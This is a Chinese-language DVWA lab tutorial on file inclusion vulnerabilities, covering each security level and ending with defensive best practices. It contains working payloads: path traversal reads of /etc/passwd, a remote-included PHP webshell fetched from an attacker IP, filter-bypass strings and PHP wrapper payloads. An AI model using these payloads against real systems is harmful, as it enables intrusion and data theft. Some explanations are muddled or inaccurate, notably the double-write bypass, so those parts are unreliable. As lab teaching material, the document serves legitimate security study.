摘要:本文是《DVWA从入门到精通》系列的第五篇,带你全面掌握File Inclusion(文件包含)模块的攻防全流程。从文件包含漏洞的核心原理出发,逐步讲解Low、Medium、High三个级别的攻击手法与源码分析,并深入探讨Impossible级别的终极防御方案。文章包含本地文件包含(LFI)与远程文件包含(RFI)的完整演示、路径遍历绕过技巧、PHP伪协议(php://filter、php://input)的实战利用,以及文件包含与文件上传的"组合拳"攻击,让你真正做到"知其然更知其所以然"。
一、什么是文件包含漏洞?
1.1 文件包含漏洞的核心原理
文件包含漏洞(File Inclusion Vulnerability)是一种常见的Web安全漏洞,主要出现在应用程序中不安全地处理文件路径时。攻击者可以利用此漏洞执行恶意文件,或者访问不该被访问的文件。
用一个生活化的例子来理解:
想象你在一家餐厅点餐,你告诉服务员"我要一份菜单上的第3道菜"。正常情况下,服务员会按照菜单上预定义的菜品给你上菜。但如果这家餐厅有个漏洞------服务员会直接按照你说的任何内容去后厨拿东西,你说"我要后厨冰箱里的所有食材清单",服务员居然真的去拿了。
文件包含漏洞就是这样:程序本来设计为包含几个预定义的文件(比如file1.php、file2.php、file3.php),但由于开发者偷懒,直接把用户输入拼接到文件路径中,用户说"包含哪个文件",程序就去包含哪个文件。
从技术角度来看:
文件包含漏洞的产生原因是PHP语言在通过include()、require()等函数引入文件时,引用的文件名用户可控,由于传入的文件名没有经过合理的校验,或者校验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
1.2 文件包含漏洞的两种类型
文件包含漏洞分为两种主要类型:
| 类型 | 英文简称 | 说明 | 利用条件 |
|---|---|---|---|
| 本地文件包含 | LFI(Local File Inclusion) | 包含服务器本地的文件,导致敏感信息泄露或代码执行 | 被包含的文件在服务器本地 |
| 远程文件包含 | RFI(Remote File Inclusion) | 包含远程服务器上的恶意文件,实现远程代码执行 | 需要开启allow_url_include和allow_url_fopen |
1.3 文件包含漏洞的产生条件
文件包含漏洞的利用需要满足两个关键条件:
-
include()等函数通过动态变量的方式引入包含文件------即文件路径不是写死的,而是通过变量传入 -
用户能够控制该动态变量------用户可以通过GET、POST等方式影响这个变量的值
1.4 文件包含漏洞的危害
文件包含漏洞的危害等级通常被认为是高危:
| 危害 | 说明 |
|---|---|
| 读取敏感文件 | 读取/etc/passwd、数据库配置文件等 |
| 执行任意代码 | 包含恶意PHP文件,执行任意代码 |
| 获取WebShell | 配合文件上传漏洞获取服务器控制权 |
| 内网渗透 | 以服务器为跳板攻击内网 |
二、准备工作
2.1 靶场环境
确保DVWA已部署并正常运行:
-
访问地址:
http://你的服务器IP/dvwa/login.php -
使用
admin/password登录
2.2 必备工具
| 工具 | 用途 |
|---|---|
| 浏览器(Chrome/Firefox) | 访问靶场,F12开发者工具观察请求 |
| Burp Suite | 抓包分析和修改请求参数 |
| Python HTTP服务器 | python3 -m http.server 8000 搭建远程文件服务器(用于RFI测试) |
2.3 基础知识储备
-
理解PHP的
include()、require()、include_once()、require_once()函数 -
了解相对路径(
../)和绝对路径的概念 -
了解PHP伪协议的基本用法
三、Low级别:毫无防护的"裸奔"状态
3.1 安全级别设置
将DVWA Security设置为 Low 级别,然后进入 File Inclusion 模块。

3.2 界面观察
File Inclusion模块的界面显示了三个可点击的文件链接:
-
file1.php
-
file2.php
-
file3.php

点击任意一个文件,URL会发生变化:

注意URL中的 page 参数------这就是控制包含哪个文件的关键变量。
3.3 源码分析
点击页面顶部的 "View Source" 按钮,查看Low级别的核心代码:
php
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
这段代码存在致命的文件包含漏洞:
| 缺陷 | 说明 |
|---|---|
| 无任何过滤 | $_GET['page']直接获取用户输入,未经任何验证 |
| 无白名单限制 | 没有限制可以包含哪些文件 |
| 无路径检查 | 没有检查文件路径是否合法 |
| 动态包含 | 用户可控的变量被用于文件包含 |
3.4 攻击方法一:本地文件包含(LFI)
由于没有任何过滤,攻击者可以使用路径遍历(Path Traversal)手法读取服务器上的任意文件。
示例1:读取Linux敏感文件
在URL中输入:
php
http://靶机IP/dvwa/vulnerabilities/fi/?page=../../../../etc/passwd

../表示向上一级目录,通过多层../可以跳出Web根目录,访问系统文件。
示例2:读取Windows敏感文件
如果靶场部署在Windows上:
php
http://靶机IP/dvwa/vulnerabilities/fi/?page=..\..\..\..\Windows\win.ini
示例3:通过报错获取绝对路径
输入一个不存在的文件名:
php
http://靶机IP/dvwa/vulnerabilities/fi/?page=does_not_exist
页面会显示详细的错误信息,包含文件的绝对路径:
php
Warning: include(does_not_exist): failed to open stream: No such file or directory in /xp/www/dvwa/vulnerabilities/fi/index.php on line 36

这个绝对路径信息对后续攻击非常有用。
3.5 攻击方法二:远程文件包含(RFI)
当服务器开启了allow_url_include选项时,攻击者可以包含远程服务器上的恶意文件。
第一步:在攻击者服务器上准备恶意文件
在攻击者的服务器上创建一个恶意PHP文件evil.txt(内容为PHP代码):
php
<?php
echo system($_GET['cmd']);
?>
第二步:启动HTTP服务
在攻击者服务器上启动HTTP服务:
php
python3 -m http.server 8000

第三步:构造RFI Payload
在DVWA的URL中输入:
php
http://靶机IP/dvwa/vulnerabilities/fi/?page=http://攻击者IP:8000/evil.txt
服务器会包含攻击者服务器上的evil.txt文件,并将其作为PHP代码执行。
第四步:执行任意命令
访问包含后的页面,可以通过cmd参数执行系统命令:
php
http://靶机IP/dvwa/vulnerabilities/fi/?page=http://攻击者IP:8000/evil.txt&cmd=whoami

3.6 Low级别总结
| 缺陷 | 说明 |
|---|---|
| 无任何输入过滤 | 用户输入直接用于文件包含 |
| 无白名单机制 | 可以包含任意文件 |
| 路径遍历漏洞 | 可通过../读取任意系统文件 |
| 远程文件包含 | 可包含远程恶意文件(需开启allow_url_include) |
四、Medium级别:黑名单过滤的"第一次尝试"
4.1 安全级别设置
将DVWA Security切换为 Medium 级别。
4.2 观察变化
在Medium级别下,尝试直接访问../../../../etc/passwd,发现被阻止了。
4.3 源码分析
查看Medium级别的核心代码:
php
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );
?>
Medium级别的变化:
-
过滤远程包含 :使用
str_replace移除http://和https:// -
过滤路径遍历 :移除
../和..\(Windows路径分隔符) -
使用
str_replace函数:逐个替换匹配的字符串
4.4 str_replace的致命缺陷
str_replace函数的问题是:它只替换一次,而且不递归处理。
攻击者可以利用这个特性进行双写绕过(Double Writing)。
双写绕过的原理:
假设输入是....//,str_replace会先移除中间的../,剩下的部分重新组合成../。
php
原始输入:....//
第1次替换:移除中间的../ → 剩下的部分是 ../ (因为前后的点拼接成了..,斜杠拼接成了/)
更精确地说,输入..././..././也可以达到类似效果。
4.5 攻击方法:双写绕过
方法一:双写../
输入:
php
http://靶机IP/dvwa/vulnerabilities/fi/?page=....//....//....//....//etc/passwd

str_replace移除../后,剩下的....//中的../被移除,留下../,最终形成../../../../etc/passwd。
方法二:使用..././
输入:
php
http://靶机IP/dvwa/vulnerabilities/fi/?page=..././..././..././..././etc/passwd
..././中的../被移除后,剩下的部分重组为../。
方法三:双写绕过(针对http://过滤)
php
http://靶机IP/dvwa/vulnerabilities/fi/?page=hhttp://ttp://攻击者IP/evil.txt

4.6 Medium级别总结
| 改进 | 局限性 |
|---|---|
过滤http://和https:// |
str_replace不递归,可双写绕过 |
过滤../和..\ |
str_replace大小写敏感,可大小写绕过 |
| 有一定防护效果 | 防护强度有限,容易被绕过 |
五、High级别:fnmatch()的"文件名限制"
5.1 安全级别设置
将DVWA Security切换为 High 级别。
5.2 观察变化
在High级别下,尝试访问任意文件,如果文件名不匹配特定模式,会提示"ERROR: File not found!"。
5.3 源码分析
查看High级别的核心代码:
php
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
High级别的变化:
-
使用
fnmatch()函数 :检查page参数的值是否匹配file*模式 -
白名单+黑名单混合 :允许
file*开头的文件,以及include.php -
其他文件被拒绝:不符合条件的文件直接报错退出
5.4 fnmatch()的局限性与绕过
fnmatch("file*", $file)要求$file以file开头 。但攻击者可以利用这一点,通过伪协议绕过限制。
5.5 攻击方法:利用file://伪协议
PHP支持多种伪协议(Wrapper),其中file://协议用于读取本地文件。
构造Payload:
php
http://靶机IP/dvwa/vulnerabilities/fi/?page=file:///etc/passwd
由于$file的值是file:///etc/passwd,它以file开头,满足fnmatch("file*", $file)的条件,成功绕过检查!

5.6 更多PHP伪协议利用
在High级别下,以下伪协议都可以尝试(但大概只有file开头的可以):
| 伪协议 | 用途 | 示例 |
|---|---|---|
file:// |
读取本地文件 | file:///etc/passwd |
php://filter |
读取PHP源码(Base64编码) | php://filter/read=convert.base64-encode/resource=index.php |
php://input |
执行POST数据中的PHP代码 | php://input(需配合POST请求) |
data:// |
执行Base64编码的PHP代码 | data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+ |
5.7 High级别总结
| 防御机制 | 作用 | 绕过方法 |
|---|---|---|
fnmatch("file*") |
限制文件名以file开头 |
使用file://伪协议 |
允许include.php |
白名单特定文件 | 不适用 |
| 文件名限制 | 增加攻击难度 | 伪协议可绕过 |
六、Impossible级别:终极防御方案
6.1 安全级别设置
将DVWA Security切换为 Impossible 级别。
6.2 源码分析
查看Impossible级别的核心代码:
php
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
$configFileNames = [
'include.php',
'file1.php',
'file2.php',
'file3.php',
];
if( !in_array($file, $configFileNames) ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
6.3 Impossible级别的防御体系:严格白名单
Impossible级别采用了最严格的防御策略------白名单机制。
白名单的核心逻辑:
程序只允许包含四个预定义的文件:
-
include.php -
file1.php -
file2.php -
file3.php
任何不在这个白名单中的文件都会被拒绝。
6.4 为什么白名单比黑名单更安全?
| 对比 | 黑名单 | 白名单 |
|---|---|---|
| 思路 | 列出所有"坏"的输入 | 只允许"好"的输入 |
| 覆盖性 | 总有遗漏 | 完全覆盖 |
| 安全性 | 低(总有绕过方法) | 高(严格控制) |
| 维护成本 | 高(需要不断更新) | 低(固定列表) |
在Impossible级别中,即使用户输入file:///etc/passwd,由于它不等于include.php、file1.php、file2.php或file3.php中的任何一个,直接被拒绝。
6.5 组合拳攻击:文件包含 + 文件上传
即使在Impossible级别下,文件包含漏洞本身被彻底防御了,但如果配合其他漏洞,仍然可能造成威胁。
攻击思路:
-
利用文件上传漏洞 (如DVWA的File Upload模块)上传一个恶意文件(如
shell.jpg,内容为PHP一句话木马) -
由于文件包含漏洞已被白名单防御,无法直接包含上传的恶意文件
-
但如果存在其他漏洞配合,仍有可能构成威胁
防御启示:
单一漏洞的防御固然重要,但纵深防御(Defense in Depth)更为关键------即使一个漏洞被修复,其他漏洞的配合也可能造成严重危害。
6.6 Impossible级别总结
| 防御层 | 技术手段 | 作用 |
|---|---|---|
| 第一层 | 严格白名单 | 只允许4个预定义文件,彻底杜绝文件包含漏洞 |
| 第二层 | 拒绝所有非白名单文件 | 任何绕过尝试都被直接拒绝 |
七、文件包含漏洞的防御最佳实践
通过DVWA四个级别的对比,我们可以总结出防御文件包含漏洞的最佳实践:
7.1 必须实施的防御措施
| 措施 | 说明 | 优先级 |
|---|---|---|
| 白名单机制 | 只允许包含预定义的合法文件 | ⭐⭐⭐⭐⭐ |
| 禁止动态包含 | 尽量不要使用动态变量调用文件,直接写要包含的文件名 | ⭐⭐⭐⭐⭐ |
| 禁用远程文件包含 | 在php.ini中设置allow_url_include=Off |
⭐⭐⭐⭐⭐ |
配置open_basedir |
限制PHP可以访问的目录 | ⭐⭐⭐⭐ |
7.2 推荐的辅助措施
| 措施 | 说明 | 优先级 |
|---|---|---|
| 过滤特殊符号 | 过滤../、..\等路径遍历字符 |
⭐⭐⭐ |
| 错误处理 | 避免将详细错误信息暴露给用户 | ⭐⭐⭐ |
| 最小权限原则 | 限制Web服务器用户的文件系统权限 | ⭐⭐⭐ |
| 日志记录 | 记录所有文件包含操作,便于审计 | ⭐⭐ |
7.3 常见误区
在实际开发中,以下做法不能有效防御文件包含漏洞:
-
❌ 仅使用黑名单:总有遗漏的字符或绕过方法(如Medium级别)
-
❌ 仅使用
str_replace():不递归、不全面,可双写绕过(如Medium级别) -
❌ 仅使用
fnmatch():可被伪协议绕过(如High级别) -
❌ 依赖前端验证:攻击者可以绕过前端直接发请求
八、总结
本文聚焦文件包含漏洞开展系统学习,我们厘清该漏洞核心原理:PHP使用include类函数动态引入文件时,未校验用户可控的文件名称参数,从而造成任意文件读取、执行;同时区分仅读取服务器本地文件的LFI本地文件包含,与加载外部恶意脚本执行代码的RFI远程文件包含。我们逐级完成DVWA各安全等级实操,Low无过滤可直接读取/etc/passwd等本地敏感文件、加载远程恶意文件,Medium采用黑名单拦截http://、../等关键字,可依靠双写字符实现绕过,High通过fnmatch函数限制文件名必须以file开头,借助file://伪协议即可突破限制,Impossible采用固定文件白名单,仅允许指定页面被包含,从源头消除风险;此外还掌握file://、php://filter、php://input、data://等常用PHP伪协议在漏洞中的利用方式,并梳理出文件白名单、关闭远程文件包含、配置open_basedir目录限制等防护方案。文件包含漏洞风险极高,攻击者利用后可读取服务器机密文件甚至执行恶意代码,依托DVWA文件包含模块我们同步掌握漏洞攻击思路与安全防护逻辑,在生产环境中落实严格文件白名单、禁用远程包含、遵循目录最小权限的多重防护策略,能够彻底规避文件包含相关安全隐患。
**重要声明:**本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。
如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享 ,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。